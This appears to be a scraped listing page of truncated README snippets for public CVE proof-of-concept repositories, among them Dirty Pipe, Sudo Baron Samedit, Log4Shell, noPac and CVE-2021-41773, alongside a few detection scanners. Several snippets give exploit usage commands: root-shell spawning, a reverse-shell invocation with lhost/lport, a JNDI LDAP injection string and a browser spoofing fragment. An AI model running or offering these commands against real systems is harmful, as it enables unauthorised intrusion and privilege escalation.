react2shell-scanner-rust

react2shell-scanner-rust Detect CVE-2025-55182 & CVE-2025-66478 in Next.js/RSC applications. Install root@kitploit: cargo build --release Usage root@kitploit: ./scanner -u https://example.com ./scanner -l hosts.txt -t 20 -o results.json ./scanner -u https://example.com --crawl --max-depth 3...

ARC-Browser-Address-Bar-Spoofing-PoC

ARC Browser Address Bar Spoofing - iOS/iPadOS CVE-2024-25733 ARC Browser Address Bar Spoofing PoC - iOS/iPadOS Exploit PoC Proof of Concept root@kitploit: function spoof setTimeout = window.stop; let randomPort; do randomPort = Math.floorMath.random 1000; while randomPort === 0 || randomPort ===...

CVE-2021-3156

Baron Samedit - Sudo CVE 2021-3156 PoC Written in BASH and C. Written by: TheFlash2k/Ali Taqi Wajid Usage: root@kitploit: This would spawn a root shell directly if the sudo is vulnerable. $ make $ ./exploit...

CVE-2026-18431

cve-id Donate...

Dirty-Pipe-Oneshot

Dirty-Pipe-Oneshot Compiled version of CVE-2022-0847 aka Dirty Pipe. Just one shot to root them all :D just comple the cve-2022-0847.c file root@kitploit: gcc cve-2022-0847.c -o getroot then execute it on the victim & get root :D root@kitploit: ./getroot /etc/passwd 1 ootz: Happy Rooting 🎭...

CVE-2026-79941

creationtimestamp| type| source ---|---|--- 2026-09-10 03:20:06+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mv53suqsbe2y...

CVE-2020-0910

CVE-2020-0910 Working Exploit PoC CVE-2020-0910 - Reverse Bind Shell Tested using Python2.7 To Install: pip install -r requirements.txt To Run: python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

o5logon-fetch

o5logon-fetch A small Java program that attempts to exploit CVE-2012-3137 on vulnerable Oracle 11 servers. By exploiting this vulnerability, you can run offline brute force attacks until you discover a given user’s password, without any apparent audit trail. Vulnerability Details A good writeup o...

Test-7-2-0-PHP-CVE-2018-5711

This repository does not have a README...

nextjs-cve-2026-23870-checker

@emstack/nextjs-cve-2026-23870-checker CLI checker and fixer for all 13 vulnerabilities in the Next.js May 2026 Security Release, including CVE-2026-23870 DoS in React Server Components. Quickstart root@kitploit: Interactive mode recommended npx @emstack/nextjs-cve-2026-23870-checker Check a...

platform_frameworks_base_CVE-2023-21281

This repository does not have a README...

CVE-2021-41773-PoC

CVE-2021-41773-PoC 🚀 Mode Of Use root@kitploit: ./exploit.sh 172.17.0.2 id uid=33www-data gid=33www-data groups=33www-data !CAUTION Este script es SOLO para fines educativos y de pentesting autorizado. El uso indebido de esta herramienta en sistemas sin permiso expreso es ILEGAL. El autor no se...

hooky

hooky This repository is a submodule for https://github.com/markuta/CVE-2024-32002, which contains a simple hook located in y/hooks/post-checkout to open calculator on macOS systems: root@kitploit: open -a Calculator.app More info about the vulnerability can be found here and here...

acropalypse-reconstructor

Acropalypse CLI Multi-Tool A lightweight, headless Python script designed to detect and reconstruct cropped images that are vulnerable to the Acropalypse vulnerability CVE-2023-21036 for Google Pixel Markup and CVE-2023-28303 for Windows Snipping Tool. This tool allows you to recover trailing pix...

CVE-2021-2109

CVE-2021-2109 CVE-2021-2109 basic scanner Use it with root@kitploit: python3 cve-2021-2109.py URL...

bug-free-chainsaw

bug-free-chainsaw CVE-2015-7545 proof of concept...

noPac

Acerca de Explotando CVE-2021-42278 y CVE-2021-42287 para suplantar al administrador del dominio desde un usuario de dominio estándar Modificado desde sam-the-admin. Uso root@kitploit: SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain positional arguments: domain/username:password Account used ...

config-demo

CVE-2020-5410...

hardware_nxp_nfc_AOSP10_r33_CVE-2020-0155

This repository does not have a README...

Log4J_0day_RCE

Join Community Telegram CVE-2021-44228Apache Log4j Remote Code Execution） Affected versions you can use JNDI-Injection-Exploit to Exploit. Bypass rc1 For example: root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName Bypass WAF...